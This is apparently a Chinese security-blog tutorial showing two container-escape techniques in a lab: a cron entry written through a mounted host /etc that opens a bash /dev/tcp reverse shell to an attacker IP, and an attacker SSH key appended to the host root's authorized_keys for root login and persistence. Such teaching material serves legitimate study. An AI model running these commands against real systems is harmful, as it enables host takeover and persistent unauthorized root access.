
在这篇文章中我介绍2种容器逃逸的方法,一是写入计划任务反弹shell,二是写入ssh密钥获取shell
计划任务反弹shell
搭建环境
./metarget gadget install k8s --version 1.16.5 --domestic
./metarget cnv install mount-host-etc
进入容器
kubectl exec -it mount-host-etc -n metarget
使用cdk检测容器可能存在的逃逸漏洞
./cdk eva
识别出容器/host-etc挂载到宿主机的/etc目录
切换到/host-etc目录下
cd /host-etc
将反弹shell写入计划任务
echo '*/1 * * * * root bash -c "bash -i >& /dev/tcp/192.168.159.189/4321 0>&1"' >> crontab
查看写入的payload
在攻击机上获取到了shell
写入SSH密钥获取shell
在攻击机上生成ssh密钥
ssh-keygen -t rsa
查看生成的密钥
在靶机上搭建容器环境
将宿主机上的根目录挂载到容器的/mnt目录下
docker run -it -v /:/mnt ubuntu /bin/bash
我们将攻击机上生成的ssh公钥写入/mnt/root/.ssh下
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsCNa2udg0phv1Pb1i9HNQ0ciQmhLa7moVmvaWxtEOQZNvbWs2DR4QA3bTkC6WZVIG/2XhqALkqkrdfZAuzTfkvPoY1MlovyqsVk646cLEfxsc8NYIAIUKx0Txa0gFUx5fKdwm0bRZ5mn40IDuo3EnZVedc35HaiVm6dtUF0MVBXvMpyesfjm3oXBE1zlo0xoUBqhDpLQrhpNo9W6NB/juUCUE9R/WnSNx3DOgU0BNT2tHVFUDMWYMHuHE+WuNMdkZtIhyyYGK1IIvWiL8eKqmIKHAKC4Qasb3ZliPBJgxcJEodaMHmVYRqvXzUs5x1mDkgichKY7U3MpvYf1t/3Tf1mzqz8a7n8J+g8iNhz84NTI3ujMjNHpsZD4w3Z7xv+vFqq4fFADyZF9eOu0SmrAkG32D+SW6gIqTmLsPEA3wfHZAfxKKdYMBEOK59qYDyWpeDFQntWRFlJ66MbkthxLCi0bNPhZWABcEjcm8vgofi8UOF9YWe0CxwkMkUe+mJYU= root@kali" >>/mnt/root/.ssh/authorized_keys
现在我们已经在宿主机的/root/.ssh目录下写入公钥了
我们在攻击机上连接靶机
ssh -i id_rsa root@192.168.159.237
成功连接,同时ssh密钥也可以作为持久化的一种操作。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)